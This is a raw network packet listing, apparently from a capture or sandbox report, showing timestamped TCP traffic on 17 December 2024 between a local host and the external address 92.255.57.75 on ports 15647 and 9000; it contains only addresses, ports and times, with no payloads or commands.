Dec 17, 2024 08:40:19.766948938 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.772094011 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.772144079 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.772237062 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.793095112 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.793174982 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.799926996 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.800002098 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.800901890 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.800947905 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.800959110 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.801031113 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.820039988 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.820116043 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.841675997 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.859847069 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.878678083 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.898227930 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.917222023 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.922386885 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.922612906 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.941627979 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.941706896 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.960100889 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.979197025 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.001159906 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.019553900 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.038288116 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.041315079 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.041346073 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.041451931 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.042000055 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.042782068 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.061428070 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.063883066 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.100178003 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.123053074 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.139393091 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.139425993 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.139436960 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.139448881 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.139458895 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.139497042 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.139519930 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.139529943 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.139540911 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.139553070 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.139555931 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.139588118 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.139596939 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.139647007 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.139658928 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.139682055 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.139719963 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.139944077 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.139954090 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.139964104 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.139972925 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.140017986 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.140038967 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.140048027 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.140059948 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.140070915 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.140080929 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.140089035 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.140104055 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.140192986 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.140584946 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.143816948 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.158387899 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.159894943 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.162597895 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.162671089 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.172025919 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.173113108 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.200293064 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.210491896 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.211998940 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.220123053 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.223851919 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.234339952 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.235843897 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.242959976 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.243825912 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.263554096 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.263674021 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.279365063 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.279405117 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.279493093 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.282383919 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.283934116 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.291271925 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.291352987 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.291445017 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.315155029 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.315242052 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.315287113 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.317938089 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.318022966 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.318039894 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.318578959 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.320177078 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.320245028 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.331589937 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.331820011 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.343600035 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.343698978 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.351334095 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.351809978 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.353388071 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.353447914 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.353528976 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.355834961 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.356467009 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.356478930 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.356518030 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.356535912 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.383550882 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.383634090 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.396490097 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.396547079 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.396593094 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.400527000 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.400556087 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.400674105 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.400674105 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.411412954 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.411593914 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.436201096 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.436274052 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.436296940 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.438796043 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.453638077 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.453697920 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.453783989 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.473450899 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.473575115 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.476217031 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.476277113 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.479152918 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.479166985 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.479193926 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.479217052 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.480562925 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.480647087 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.519433022 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.519556046 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.519597054 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.556262970 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.556358099 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.557651997 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.557714939 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.557734966 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.558001041 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.560905933 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.560921907 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.560971975 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.593606949 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.593789101 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.595738888 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.595791101 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.596122980 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.596165895 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.596189022 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.596204996 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.600660086 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.600740910 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.603256941 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.603327036 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.628057957 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.638808966 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.639060020 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.639657974 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.663682938 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.674791098 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.674870968 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.677994013 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.678073883 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.678169012 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.682002068 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.682048082 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.695367098 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.696245909 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.716202021 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.716293097 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.716509104 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.716686964 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.716708899 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.716727972 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.723541021 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.724741936 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.748629093 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.751897097 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.752319098 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.752331972 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.753494978 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.765727997 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.784120083 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.787870884 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.797926903 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.798229933 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.816346884 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.816812038 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.819817066 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.830890894 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.831849098 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.845276117 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.847945929 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.863359928 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.864337921 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.867846966 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.877696037 CET	9000	50056	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.877818108 CET	9000	50056	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.878082037 CET	50056	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.878082037 CET	50056	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.888684988 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.905742884 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.907898903 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.919384956 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.919847965 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.937033892 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.939874887 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.951915979 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.955868959 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.976082087 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.976200104 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.983251095 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:20.983989954 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.994373083 CET	50057	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:20.998770952 CET	9000	50056	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.004347086 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.008480072 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.008867025 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.009016991 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.027679920 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.037733078 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.039906979 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.060079098 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.060208082 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.076745033 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.077114105 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.077297926 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.079405069 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.079541922 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.079628944 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.096076012 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.111253977 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.111361027 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.111444950 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.115384102 CET	9000	50057	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.115609884 CET	50057	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.115699053 CET	50057	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.125375032 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.127834082 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.129075050 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.147641897 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.147728920 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.152575016 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.152595997 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.152672052 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.180011034 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.180109978 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.197412014 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.197501898 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.199357033 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.199379921 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.199444056 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.203454018 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.203553915 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.235539913 CET	9000	50057	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.237638950 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.248449087 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.248739004 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.252474070 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.252937078 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.256567955 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.256614923 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.256628036 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.272444963 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.272975922 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.288705111 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.288718939 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.288855076 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.309055090 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.309067011 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.309189081 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.311572075 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.311626911 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.311713934 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.319257021 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.319336891 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.321924925 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.322299004 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.344680071 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.344692945 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.344791889 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.358181000 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.358287096 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.372613907 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.372668028 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.372762918 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.376576900 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.376655102 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.378412962 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.378428936 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.378487110 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.408782959 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.411829948 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.420464993 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.420476913 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.420569897 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.421554089 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.423834085 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.431399107 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.431814909 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.440589905 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.444534063 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.444545031 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.444619894 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.464658022 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.467853069 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.478235960 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.478312016 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.493009090 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.493020058 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.493088961 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.498239994 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.499279976 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.499296904 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.499336958 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.499349117 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:21.501521111 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:21.501600027 CET	49998	15647	192.168.2.5	92.255.57.75
